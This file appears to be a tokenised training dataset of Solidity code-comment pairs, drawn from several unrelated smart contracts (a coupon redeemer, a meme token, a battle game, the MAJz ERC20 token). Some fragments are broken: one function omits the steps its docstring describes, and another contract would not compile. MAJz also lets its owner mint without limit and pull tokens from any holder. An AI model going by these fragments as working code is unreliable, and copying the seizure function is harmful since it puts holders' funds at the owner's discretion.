[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 2713, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 309, 261, 4963, 422, 374, 13, 327, 374, 31, 203, 3639, 2254, 5034, 11013, 273, 1147, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 309, 261, 4963, 411, 11013, 380, 478, 1502, 916, 67, 8325, 7031, 67, 3194, 67, 8412, 13, 203, 5411, 327, 3844, 380, 478, 1502, 916, 67, 8325, 7031, 67, 3194, 67, 8412, 31, 203, 3639, 327, 261, 4963, 380, 3844, 13, 342, 11013, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x4681D7Ba484a679D10F68D7f6F0E1222e93b5779/sources/CouponClipper.sol
@notice Internal logic used to redeem coupons on the coupon holder's bahalf @param _user Address of the user holding the coupons (and who has approved this contract) @param _epoch The epoch in which the _user purchased the coupons @param _couponAmount The number of coupons to redeem (18 decimals) @return the fee (in ESD) owned to the bot (msg.sender) pull user's coupons into this contract (requires that the user has approved this contract) redeem the coupons for ESD compute fees send the ESD to the user
function _redeem(address _user, uint _epoch, uint _couponAmount) internal returns (uint) { uint botRate = getOffer(_user).sub(HOUSE_RATE); uint botFee = _couponAmount.mul(botRate).div(10_000); uint houseFee = _couponAmount.mul(HOUSE_RATE).div(10_000); return botFee; }
15,654,026
[ 1, 3061, 4058, 1399, 358, 283, 24903, 1825, 30324, 603, 326, 16174, 10438, 1807, 324, 9795, 6186, 225, 389, 1355, 5267, 434, 326, 729, 19918, 326, 1825, 30324, 261, 464, 10354, 711, 20412, 333, 6835, 13, 225, 389, 12015, 1021, 7632, 316, 1492, 326, 389, 1355, 5405, 343, 8905, 326, 1825, 30324, 225, 389, 24090, 6275, 1021, 1300, 434, 1825, 30324, 358, 283, 24903, 261, 2643, 15105, 13, 327, 326, 14036, 261, 267, 512, 9903, 13, 16199, 358, 326, 2512, 261, 3576, 18, 15330, 13, 6892, 729, 1807, 1825, 30324, 1368, 333, 6835, 261, 18942, 716, 326, 729, 711, 20412, 333, 6835, 13, 283, 24903, 326, 1825, 30324, 364, 512, 9903, 3671, 1656, 281, 1366, 326, 512, 9903, 358, 326, 729, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 266, 24903, 12, 2867, 389, 1355, 16, 2254, 389, 12015, 16, 2254, 389, 24090, 6275, 13, 2713, 1135, 261, 11890, 13, 288, 203, 540, 203, 3639, 2254, 2512, 4727, 273, 336, 10513, 24899, 1355, 2934, 1717, 12, 7995, 8001, 67, 24062, 1769, 203, 3639, 2254, 2512, 14667, 273, 389, 24090, 6275, 18, 16411, 12, 4819, 4727, 2934, 2892, 12, 2163, 67, 3784, 1769, 203, 3639, 2254, 23867, 14667, 273, 389, 24090, 6275, 18, 16411, 12, 7995, 8001, 67, 24062, 2934, 2892, 12, 2163, 67, 3784, 1769, 203, 540, 203, 3639, 327, 2512, 14667, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xfC8365CA9F5c0e0F11646D1B9703339F04a44b9D/sources/BFUMO.sol
File contracts/baped.sol
contract BFUMO is ERC20 { function _beforeTokenTransfer( address from, address to, uint256 amount function _afterTokenTransfer( address from, address to, uint256 amount } pragma solidity ^0.8.15; constructor() ERC20("Baby Alien Milady Fumo", "BFUMO") { _mint(msg.sender, 300 * 10 ** decimals()); } }
15,609,034
[ 1, 812, 20092, 19, 70, 5994, 18, 18281, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 605, 42, 2799, 51, 353, 4232, 39, 3462, 288, 7010, 565, 445, 389, 5771, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 203, 565, 445, 389, 5205, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 97, 203, 203, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 3600, 31, 203, 203, 565, 3885, 1435, 4232, 39, 3462, 2932, 38, 24383, 432, 549, 275, 490, 330, 361, 93, 478, 379, 83, 3113, 315, 15259, 2799, 51, 7923, 288, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 11631, 380, 1728, 2826, 15105, 10663, 203, 565, 289, 225, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/8453/0x9385D0f9633badd3D496A3D53DAD305087020f37/sources/MYSTCLGenesis.sol
* @dev Internal function to execute battle. @param _battleId Battle Id/
function executeBattle(uint256 _battleId) internal { BattleInfo storage battle = battleQueue[_battleId]; require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK"); require(battle.battleState == BattleState.RUNNING, "Current battle is finished"); bytes32 requestId = requestRandomness(keyHash, fee); requestToBattle[requestId] = _battleId; battle.lastEliminatedTime = block.timestamp; emit BattleExecuted(_battleId, requestId); }
16,818,225
[ 1, 3061, 445, 358, 1836, 324, 4558, 298, 18, 225, 389, 70, 4558, 298, 548, 605, 4558, 298, 3124, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1836, 38, 4558, 298, 12, 11890, 5034, 389, 70, 4558, 298, 548, 13, 2713, 288, 203, 565, 605, 4558, 298, 966, 2502, 324, 4558, 298, 273, 324, 4558, 298, 3183, 63, 67, 70, 4558, 298, 548, 15533, 203, 203, 565, 2583, 12, 10554, 18, 12296, 951, 12, 2867, 12, 2211, 3719, 1545, 14036, 16, 315, 1248, 7304, 22926, 8863, 203, 565, 2583, 12, 70, 4558, 298, 18, 70, 4558, 298, 1119, 422, 605, 4558, 298, 1119, 18, 29358, 16, 315, 3935, 324, 4558, 298, 353, 6708, 8863, 203, 203, 565, 1731, 1578, 14459, 273, 590, 8529, 4496, 12, 856, 2310, 16, 14036, 1769, 203, 565, 590, 774, 38, 4558, 298, 63, 2293, 548, 65, 273, 389, 70, 4558, 298, 548, 31, 203, 565, 324, 4558, 298, 18, 2722, 4958, 381, 7458, 950, 273, 1203, 18, 5508, 31, 203, 203, 565, 3626, 605, 4558, 298, 23839, 24899, 70, 4558, 298, 548, 16, 14459, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/10/0x136E29d881DD91349d660B452aFb206e09C94268/sources/project_/contracts/interfaces/IBondDepository.sol
last timestamp when market was created and debt was decayed
uint48 lastDecay;
3,783,768
[ 1, 2722, 2858, 1347, 13667, 1703, 2522, 471, 18202, 88, 1703, 22286, 329, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 11890, 8875, 1142, 1799, 528, 31, 5411, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xA993Fa728507D4BCf4a6411B39480Df5234FE538/sources/lib/ERC721H/src/interfaces/IERC721ACH.sol
* @dev Enumerated list of all available hook types for the ERC721ACH contract./
enum HookType { BeforeTokenTransfers, AfterTokenTransfers
7,034,867
[ 1, 3572, 19007, 666, 434, 777, 2319, 3953, 1953, 364, 326, 4232, 39, 27, 5340, 18133, 6835, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 377, 2792, 13725, 559, 288, 203, 540, 203, 3639, 11672, 1345, 1429, 18881, 16, 203, 3639, 7360, 1345, 1429, 18881, 203, 3639, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; /**************************************************************************** * ******MAJz Token Smart Contract****** * * Symbol : MAZ * * Name : MAJz * * Total Supply: 560 000 000 * * Decimals : 18 * * Almar Blockchain Technology * * ************************************* * ****************************************************************************/ /**************************************************************************** * Safemath Library * * to prevent Over / Underflow * ****************************************************************************/ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0){return 0;} c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } } /**************************************************************************** * Standart ERC20 Token Interface * * Contains Standart Token Functionalities * ****************************************************************************/ contract ERC20Token { function totalSupply() public view returns (uint256); function balanceOf(address _targetAddress) public view returns (uint256); function transfer(address _targetAddress, uint256 _value) public returns (bool); event Transfer(address indexed _originAddress, address indexed _targetAddress, uint256 _value); function allowance(address _originAddress, address _targetAddress) public view returns (uint256); function approve(address _originAddress, uint256 _value) public returns (bool); function transferFrom(address _originAddress, address _targetAddress, uint256 _value) public returns (bool); event Approval(address indexed _originAddress, address indexed _targetAddress, uint256 _value); } /**************************************************************************** * Ownership Contract * * for authorization Control * ****************************************************************************/ contract Ownership { address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } modifier validDestination(address _targetAddress) { require(_targetAddress != address(0x0)); _; } } /**************************************************************************** * The Token Contract * * with Extended funtionalities * ****************************************************************************/ contract MAJz is ERC20Token, Ownership { using SafeMath for uint256; string public symbol; string public name; uint256 public decimals; uint256 public totalSupply; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) allowed; //Constructor of the Token constructor() public{ symbol = "MAZ"; name = "MAJz"; decimals = 18; totalSupply = 560000000000000000000000000; balances[msg.sender] = totalSupply; owner = msg.sender; emit Transfer(address(0), msg.sender, totalSupply); } /**************************************************************************** * Basic Token Functions * ****************************************************************************/ //Returns the totalSupply function totalSupply() public view returns (uint256) { return totalSupply; } //Return the balance of an specified account function balanceOf(address _targetAddress) public view returns (uint256) { return balances[_targetAddress]; } //Transfer function. Validates targetAdress not to be 0x0 function transfer(address _targetAddress, uint256 _value) validDestination(_targetAddress) public returns (bool) { balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); //SafeMath will throw if value > balance balances[_targetAddress] = SafeMath.add(balances[_targetAddress], _value); emit Transfer(msg.sender, _targetAddress, _value); return true; } /**************************************************************************** * ERC20 Token Functions * ****************************************************************************/ function allowance(address _originAddress, address _targetAddress) public view returns (uint256){ return allowed[_originAddress][_targetAddress]; } function approve(address _targetAddress, uint256 _value) public returns (bool) { allowed[msg.sender][_targetAddress] = _value; emit Approval(msg.sender, _targetAddress, _value); return true; } function transferFrom(address _originAddress, address _targetAddress, uint256 _value) public returns (bool) { balances[_originAddress] = SafeMath.sub(balances[_originAddress], _value); //SafeMath will throw if _value> balanceOf[_originAddress] allowed[_originAddress][msg.sender] = SafeMath.sub(allowed[_originAddress][msg.sender], _value); //SafeMath will throw if _value > allowance balances[_targetAddress] = SafeMath.add(balances[_targetAddress], _value); emit Transfer(_originAddress, _targetAddress, _value); return true; } function () public payable { revert(); } /**************************************************************************** * Extended Functionalites * ****************************************************************************/ //Burn the specified amount (_value) of tokens function burnTokens(uint256 _value) public onlyOwner returns (bool){ balances[owner] = SafeMath.sub(balances[owner], _value); //SafeMath will throw if value > balance totalSupply = SafeMath.sub(totalSupply, _value); emit BurnTokens(_value); return true; } //Emit new tokens function emitTokens(uint256 _value) public onlyOwner returns (bool){ balances[owner] = SafeMath.add(balances[owner], _value); //SafeMath will throw if Overflow totalSupply = SafeMath.add(totalSupply, _value); emit EmitTokens(_value); return true; } //Revert a transfer in case of error. onlyOwner function revertTransfer(address _targetAddress, uint256 _value) public onlyOwner returns (bool) { balances[_targetAddress] = SafeMath.sub(balances[_targetAddress], _value); balances[owner] = SafeMath.add(balances[owner], _value); emit RevertTransfer(_targetAddress, _value); return true; } event RevertTransfer(address _targetAddress, uint256 _value); event BurnTokens(uint256 _value); event EmitTokens(uint256 _value); }
SafeMath will throw if _value > allowance
allowed[_originAddress][msg.sender] = SafeMath.sub(allowed[_originAddress][msg.sender], _value);
2,577,323
[ 1, 9890, 10477, 903, 604, 309, 389, 1132, 405, 1699, 1359, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2935, 63, 67, 10012, 1887, 6362, 3576, 18, 15330, 65, 273, 14060, 10477, 18, 1717, 12, 8151, 63, 67, 10012, 1887, 6362, 3576, 18, 15330, 6487, 389, 1132, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
